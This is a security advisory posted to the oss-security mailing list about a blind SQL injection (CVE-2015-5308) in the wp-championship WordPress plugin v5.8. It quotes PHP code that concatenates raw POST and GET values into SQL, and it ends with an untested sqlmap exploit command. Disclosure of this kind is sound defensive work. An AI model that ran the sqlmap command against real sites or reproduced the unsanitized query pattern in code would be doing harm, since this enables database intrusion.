[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 09 Nov 2015 18:12:59 -0500
From: Larry Cashdollar <larry0@...com>
To: Open Security <oss-security@...ts.openwall.com>
Subject: Blind SQL injection in wp-championship wordpress plugin v5.8
Title: Blind SQL injection in wp-championship wordpress plugin v5.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-10-22
Download Site: https://wordpress.org/plugins/wp-championship/
Vendor: https://profiles.wordpress.org/tuxlog/ http://www.tuxlog.de/
Vendor Notified: 2015-10-23, fixed in v5.9
Vendor Contact: webmaster@...log.de
Description: wp-championship is a plugin for wordpress letting you play a
guessing game of a tournament e.g. soccer.
Vulnerability:
The following lines do not properly sanitize user input resulting in SQLi,
injection points are POST request
To user, isadmin,mail service,mailresceipt,stellv,champtipp and tippgroup.
Also GET requests to userid.
The code from cs_admin_users.php is as follows:
69 $sql="select count(*) as anz from
$cs_users where userid=".$_POST['user'].";";
70 $results = $wpdb->get_row($sql);
.
.
74 $sql = "insert into ". $cs_users
." values (". $_POST['user'] . "," . $_POST['isadmin'] . "," . $
_POST['mailservice'] . "," .$_POST['mailreceipt'] . "," . $_POST['stellv'] .
",".$_POST['champtipp'].",'1900-01-01 00:00:00',-1,'".$_POST
['tippgroup']."');";
75 $results = $wpdb->query($sql);
.
.
86 $sql = "update ".$cs_users." set admin="
. $_POST['isadmin'] . ", mailservice=" . $_POST['mailservice'] . ",
mailreceipt=" . $_POST['mailreceipt'] . ",stellvertreter=" .
$_POST['stellv'] . ",champion=" . $_POST['champtipp'] . ", tippgroup='".$
_POST['tippgroup']."' where userid=".$_POST['user'].";";
87 $results = $wpdb->query($sql);
.
.
98 $sql= "delete from ".$cs_users." where
userid=".$_GET['userid'].";";
99 $results = $wpdb->query($sql);
.
.
110 $sql= "select * from $cs_users where
userid=".$_GET['userid'].";";
111 $results = $wpdb->get_row($sql);
CVEID: 2015-5308
OSVDB:
Exploit Code:
Untested:
$ sqlmap -u
'http://wp.site:80/wp-admin/wp-championship/cs_admin_users.php&userid='
--data="isadmin=1&user" --cookie=AUTH_COOKIE_HERE --level=5 --risk=3
Screen Shots:
Advisory: http://www.vapidlabs.com/advisory.php?v=155
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
